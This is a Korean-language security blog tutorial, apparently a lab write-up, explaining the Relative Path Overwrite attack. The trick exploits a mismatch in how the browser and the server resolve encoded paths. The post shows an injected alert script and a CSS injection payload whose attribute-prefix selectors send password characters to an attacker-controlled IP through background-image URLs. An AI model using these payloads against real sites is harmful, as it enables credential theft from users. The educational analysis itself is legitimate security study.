개요
Relative Path Overwrite는 Browser와 Server가 상대경로를 해석하는 과정의 차이점을 이용한 공격 기법입니다.
해당 취약점에서 가장 중요한 부분은 Browser에서 상대 경로를 해석하여 처리하는 방식입니다. 아래 코드는 styles.css와 script.js를 상대경로를 통하여 불러옵니다.
<link href="styles.css" rel="stylesheet" type="text/css" />
<script src="script.js"></script>
현재 URL 주소가 https://ethsms.co.kr/rpo/index.php 일 경우 Browser가 styles.css와 script.js의 경로를 다음과 같이 해석합니다.
https://ethsms.co.kr/rpo/styles.css
https://ethsms.co.kr/rpo/script.js
만약 URL 주소가 https://ethsms.co.kr/rpo/fake/..%2Findex.php 일 경우 Browser와 Server가 현재 경로를 다르게 인식할 수 있습니다.
Server : https://ethsms.co.kr/rpo/fake/../index.php
Browser : https://ethsms.co.kr/rpo/fake/..%2Findex.php
즉, 서버가 해석하는 파일의 위치는 /rpo/index.php 이지만, 브라우저가 해석하는 위치는 /rpo/fake/..%2Findex.php 이기 때문에 Browser가 요청하는 style.css와 script.js의 경로는 다음과 같이 변하게 됩니다.
https://ethsms.co.kr/rpo/fake/styles.css
https://ethsms.co.kr/rpo/fake/script.js
분석
만약, script.js와 styles.css 파일들을 변경할 수 있을 때 어떤 위험이 발생 가능한지 알아보겠습니다.
먼저 임의의 script.js 파일을 불러올 수 있는 경우입니다.
/rpo/index.hmtl 파일
<script src='script.js'></script>
<strong>Path is /rpo/index.html</strong>
/rpo 디렉토리에는 현재 script.js 파일이 존재하지 않기 때문에, 해당 페이지에 접근할 경우 에러가 발생합니다.
에러 코드를 통하여 Browser가 인식하는 파일의 위치가 /rpo/script.js 인 것을 확인할 수 있었습니다. 다음은 Browser와 Server가 서로 다르게 경로를 해석하도록 페이지에 접근해보겠습니다.
Server의 경우 현재 경로를 /rpo/index.html로 인식하여 불러오지만, Browser는 현재 경로를 /rpo/fake/..%2Findex.php 으로 해석하여 /rpo/fake/script.js 파일을 불러오는 것을 확인할 수 있었습니다.
만약 /hack/script.js 라는 파일에 악성 스크립트가 존재하며, /rpo/index.html 페이지에 해당 파일을 로드시킬 수 있을 경우 악성 스크립트가 실행될 것 입니다.
알림 창을 띄우는 간단한 스크립트를 가지고 실습을 진행해보겠습니다.
/hack/script.js 파일
alert("You are Hacked");
브라우저가 현재 경로를 /hack/..%2Frpo%2Findex.html 으로 해석하도록 접근할 경우, /rpo/index.html 페이지에서 /hack/script.js 파일이 실행되는 것을 확인할 수 있습니다.
그렇다면, 만약 임의의 styles.css를 불러올 수 있을 경우 어떤 공격이 가능할까요?
/rpo/index2.html 파일
<link href="styles.css" rel="stylesheet" type="text/css">
ID : <input type="text" value="admin"><br>
PassWord : <input type="password" value="2345"><br>
<input type="submit" value="login">
/rpo/index2.html 페이지는 input 태그의 value 속성에서 현재 계정의 ID와 Password를 갖고 있습니다.
공격에 사용할 CSS 코드는 다음과 같습니다.
/hack/styles.css 파일
input[type='password'][value^="1"]{
background: url("http://192.168.123.109/style.css?pwd=1~");
}
input[type='password'][value^="12"]{
background: url("http://192.168.123.109/style.css?pwd=12~");
}
input[type='password'][value^="123"]{
background: url("http://192.168.123.109/style.css?pwd=123~");
}
input[type='password'][value^="1234"]{
background: url("http://192.168.123.109/style.css?pwd=1234~");
}
input[type='password'][value^="2"]{
background: url("http://192.168.123.109/style.css?pwd=2~");
}
input[type='password'][value^="23"]{
background: url("http://192.168.123.109/style.css?pwd=23~");
}
input[type='password'][value^="234"]{
background: url("http://192.168.123.109/style.css?pwd=234~");
}
input[type='password'][value^="2345"]{
background: url("http://192.168.123.109/style.css?pwd=2345~");
}
간단히 설명하자면, input 태그에서 type 속성이 password인 경우 value에 존재하는 값을 비교하여 공격자의 서버에 전송하는 코드입니다.
/rpo/index2.html 페이지에서 /hack/styles.css 파일을 불러오도록 접근할 경우, 계정의 Password인 2345가 공격자에게 전송되는 것을 확인할 수 있습니다.
물론, 해당 취약점을 이용하여 공격을 시도하려면 악성 행위를 하는 코드가 담긴 파일이 조작 가능한 위치에 존재한다는 전제 조건이 붙습니다.
Refference
https://blog.rubiya.kr/index.php/2019/04/17/relative-path-overwrite/
https://curesec.com/blog/article/blog/Reading-Data-via-CSS-Injection-180.html
'Hack > Web' 카테고리의 다른 글
[KVE-2020-0656] YoungCart 1Day 취약점 분석 (Command Injection) (0) | 2020.09.22 |
---|---|
Node js Prototype Pollution (0) | 2020.09.22 |
XS Search Attack (Cross Site Search) (0) | 2020.09.22 |
Laravel SQL Injection ( Version < 5.8.11) (0) | 2020.09.22 |
Laravel Framework 보안 관련 내용 정리 (0) | 2020.09.22 |
댓글